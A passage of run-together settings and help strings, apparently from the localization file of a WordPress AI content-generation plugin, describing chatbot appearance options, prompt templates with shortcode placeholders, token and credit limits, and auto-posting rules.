tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.Select the AI Model to be used for the text generator.Select the AI Model to be used for the title generator.Select the AI Model to be used for the title text generator. You can add this to the post titles, using the %%ai_generated_title%% shortcode.Select the AI Model to be used for title text generator. You can add this to the post titles, using the %%ai_generated_title%% shortcode.Select the AI Model you want to use.Select the AI model to be used for this form.Select the AI model to use for text editing. Currently, the specialized edit models from OpenAI/AiomaticAPI are in beta, because of this, at the moment, it is recommended to use a completion model.Select the AI model you want to use for moderation.Select the Background color of the form.Select the alignment of the submit button.Select the author that you want to assign for the automatically generated posts.Select the background color of the chatbot form. Default is #f7f7f9Select the border color for the input field. Default is #e1e3e6Select the button color of the form.Select the button text color of the form.Select the color of the submit button. Default is #55a7e2Select the country where you have registred your affiliate account.Select the default chat mode (image or text).Select the default model you want to use for the AI Comment Writer.Select the default model you want to use for the AI Taxonomy Description Writer.Select the default model you want to use for the AI Taxonomy SEO Description Writer. This will set the SEO description for the following SEO plugins: Yoast SEO, All In One SEO, Rank Math.Select the default model you want to use for the [aicontent] shortcode. You can defined this also in shortcode parameters.Select the font color of the AI baloon chatbot form. Default is #f0f0f0Select the font color of the AI chatbot form. Default is blackSelect the font color of the user baloon chatbot form. Default is #0084ffSelect the font color of the user chatbot form. Default is whiteSelect the font size of the chatbot form. Default is 1emSelect the height of the chatbot form. Default is auto. You can set values in pixels, like: 400pxSelect the image size for AI generated images.Select the image size for the AI image chatbot.Select the interval in hours after which you want this rule to run. Defined in hours.Select the interval in minutes after which you want this rule to run. Defined in minutes.Select the language of the automatic keyword extractor, which is used for the internal linking feature of the plugin.Select the linking method to use in posts.Select the location of the heading images.Select the location of the submit button.Select the max length for form input fields.Select the maximum number of credits for guests who are not logged in. To disable this feature, leave this field blank.Select the maximum number of credits for logged in users. Also, you can select the type of credits: queries, tokens or price. To disable this feature, leave this field blank.Select the maximum number of posts that this rule can create at once.Select the maximum position of the images from the image search results. More relevant images are shown first in the royalty free image search results. Because of this, using here a number as low as 4 will make the plugin use only the first 4 image results which were returned by the royalty free image search. This can improve image precision. If you leave this field blank, the default value will be used: 4Select the message which will appear to users when their input is flagged.Select the min length for form input fields.Select the min-height of the chatbot form (when the form is resized, this is the minimum height it will be allowed to get. Default is 250px. You can set values in pixels, like: 400pxSelect the minimum number of characters that the content additional content should have. If the API returns content which has fewer characters than this number, another API call will be made, until this character limit is met. Please check about API rate limiting here.Select the minimum number of characters that the posts should have. If the API returns content which has fewer characters than this number, another API call will be made, until this character limit is met. Please check about API rate limiting here.Select the model to be used for chatbot.Select the model you want to use for embedding content rewriting and optimizing.Select the model you want to use for embeddings.Select the model you want to use for keyword extraction, for internet search results.Select the model you want to use for keyword extraction, for royalty free image importing.Select the number of search results to add in the %%web_results%% shortcode. The default value for this settings is : 3Select the post category that you want for the automatically generated posts to have.Select the post tags that you want for the automatically generated posts to have. Spintax supported.Select the post types for which you want to enable embeddings auto indexing.Select the search query repetition mode, when searching royalty free images.Select the size of the generated image.Select the source language of the translation.Select the source of the created featured images.Select the source of the post title. If you select AI generated, the plugin will create an AI generated title based on keywords you enter in the 'Post Title List' settings field. Otherwise, it will use the titles listed there, for the created posts.Select the status that you want for the automatically generated posts to have.Select the template of the embedding which will be saved in the database. You can use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field is: %%post_title%% -- %%post_excerpt%% -- Read more at: %%post_url%%Select the text color of the form.Select the text color of the submit button. Default is #55a7e2Select the time frame for which to apply the above limitation.Select the type (post/page) for your automatically generated item.Select the type of credits.Select the type of sorting of the returned results. This will work only if you also set a value to the 'Amazon Category' settings field.Select the type of sorting of the returned results. This will work only if you also set a value to the \'Amazon Category\' settings field.Select the user role to be restricted.Select the users who will have full access when interacting with the features of the plugin.Select the way you want to schedule automatic editing of existing posts from your site, using the below settings.Select the width of the chatbot form. For full width, you can set 100% (default value). You can also set values in pixels, like: 400pxSelect what you want to do with product titles in articles.Select what you want to do with sections in articles.Select when do you want to automatically process posts.Select where you want to show the embedded chatbot.Select which posts should be processed - posts with or without featured images.Select your prefered order in which you want to search royalty free image sources.Send An Email Notification When A Specific Rule Has Depleted Its Keywords/Topics:Send Rule Running Summary in Email:Separate Post Source with commasSeparate tags with commasSepediSepedi (Google Translate)SerbianSerbian (Google Translate)SerpAPI API Key (Optional) (Used for Related Headings & AI Internet Access)SerpAPI Key (optional)Server EnvironmentSesothoSesotho (Google Translate)Session IDSession ID: The ID of the session in which the request was made.Set a Custom Post Publish Date RangeSet a Custom Post Publish Date Range:Set a icon which will open the chatbot.Set a list of URL where to not show the chatbot. You can enter multiple URLs, each on a new line.Set a prompt for generating a keyword for importing royalty free images for the created posts. You can also instruct the AI writer to return a comma separated list of keywords. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You can use something like: I need to find highly relevant royalty-free images for an article heading, please extract a comma-separated list of the most relevant keywords from the heading, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. By doing so, you can help me find more appropriate and targeted images for the article heading. The blog post heading title is: "%%post_title%%".Set a template to use for auto created embeddingsSet an example response for this form, this can be shown to users.Set an prompt command you want to send to the AI SEO meta description generator. This command can be any given task or order, based on which, it will generate comments for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). The default value is: Write a SEO meta description for the post title: %%post_title%%Set an prompt command you want to send to the AI category generator. This command can be any given task or order, based on which, it will generate categories for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set an prompt command you want to send to the AI comment generator. This command can be any given task or order, based on which, it will generate comments for posts. You can use the following shortcodes here: %%previous_comments%%, %%post_title%%, %%comment_author_name%%, %%comment_author_email%%, %%comment_author_url%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set an prompt command you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.Set an prompt command you want to send to the AI tag generator. This command can be any given task or order, based on which, it will generate tags for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set an prompt command you want to send to the AI text generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set list of prompt commands (one on each line) you want to send to OpenAI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI for generating post titles. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI title text generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to OpenAI. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run.Set list of prompt commands (one on each line) you want to send to OpenAI. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set the AI frequency penalty parameter of this form.Set the AI maximum token count of this form.Set the AI presence penalty parameter of this form.Set the AI temperature of this form.Set the AI top_p parameter of this form.Set the banned words list that will apply to all plugin rules.Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.Set the description of this form.Set the field type for this input field.Set the header text of the Q&A section header. Default is: Q&ASet the header text of the outro section header. This is optional.Set the image size of the AI assistant generated images.Set the input field ID. This is important, as you will be able to get the value entered by users on the front end for this input field, using this ID. You will be able to use this in the 'Prompt' settings field from below, in the following format: %%ID_YOU_ENTER_HERE%%.Set the input field Label (textual hint).Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Set the maximum height of the player in pixels. Default value is 380.Set the maximum input length for user messages.Set the maximum length of captions in prompts. This is useful to have, when captions can be very long.Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000 (for modern DaVinci models). For other models, the maximum is 2048.Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set it 4000.Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking. The default value for this settings field is 3-5Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 2048.Set the maximum number of posts to be processed at each run.Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 1000.Set the maximum number of related headings to add to the created post content. This feature will use the 'People Also Ask' feature from Google and Bing. By default, the Bing engine is scraped, if you want to enable also Google scraping, add a SerpAPI key in the plugin's 'Main Settings' menu -> 'SerpAPI API Key' settings field.Set the maximum number of related images to add to the created post content. This feature will use the 'Royalty Free Image' settings from the plugin's 'Main Settings' menu or if you have access to the DallE API.Set the maximum number of related images to add to the created post content. This feature will use the 'Royalty Free Image' settings from the plugin's 'Main Settings' menu.'Set the maximum number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Main Settings' menu or if you have access to the DallE API.Set the maximum number of result API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set it 2048.Set the maximum number of times the plugin will retry API calls in case they fail. This is useful, as in some cases OpenAI API is failing and a retry will work. To disable this feature, leave this field blank.Set the maximum number of times the plugin will retry chat API calls in case the AI writer considers the chat as ended. Warning, this can consume more tokens, as it will retry API calls multiple times. To disable this feature, leave this field blank.Set the maximum width of the player in pixels. Default value is 580.Set the message to be displayed to logged in users when usage limit is reached for the 'Rule Based Restrictions'.Set the message to be displayed to logged in users when usage limit is reached.Set the message to be displayed to not logged in users when usage limit is reached.Set the message to show to restricted users.Set the model to use for the AI Assistant feature.Set the name of the AI. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name.Set the name of the AI. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Set the name of the command, which will appear in the post editor.Set the name of the custom field which will be set to posts which were already edited. Changing this can be useful if you want to reedit already edited posts. The default is: aiomatic_publishedSet the name of the user. This will be prepended to each user message. This is useful to teach the AI chatbot about its role and name.Set the number of related YouTube videos to add to the created post content. The maximum number of videos you can add to each article: number of sectionsSet the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Main Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2Set the number of related videos to add to the created post content. The maximum number of videos you can add to each article: number of sectionsSet the placeholder text of the chat input. The default is: Enter your chat message here.Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.Set the prompt completion to be sent to the AI writer, so it will become aware that it can send emails. This prompt will be added to the conversation only when the user enteres in the message sent to the AI, any of the following keywords: email, e-mailSet the prompt to be sent to the AI when clicking on this command in post editor. You can use the %%selected_text%% shortcode also.Set the prompt to be used for the AI Comment Writer feature. You can use the following shortcodes here: %%post_title%%, %%post_excerpt%%, %%username%%, %%comment%% - default is: Write a reply for %%username%%'s comment on the post titled "%%post_title%%". The user's comment is: %%comment%%Set the prompt to be used for the AI Taxonomy Description Writer feature. You can use the following shortcodes here: %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% - default is: Write a description for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%"Set the prompt to be used for the AI Taxonomy SEO Description Writer feature. You can use the following shortcodes here: %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% - default is: Write a description for a WordPress %%term_taxonomy_name%% with the following title: "%%term_name%%". 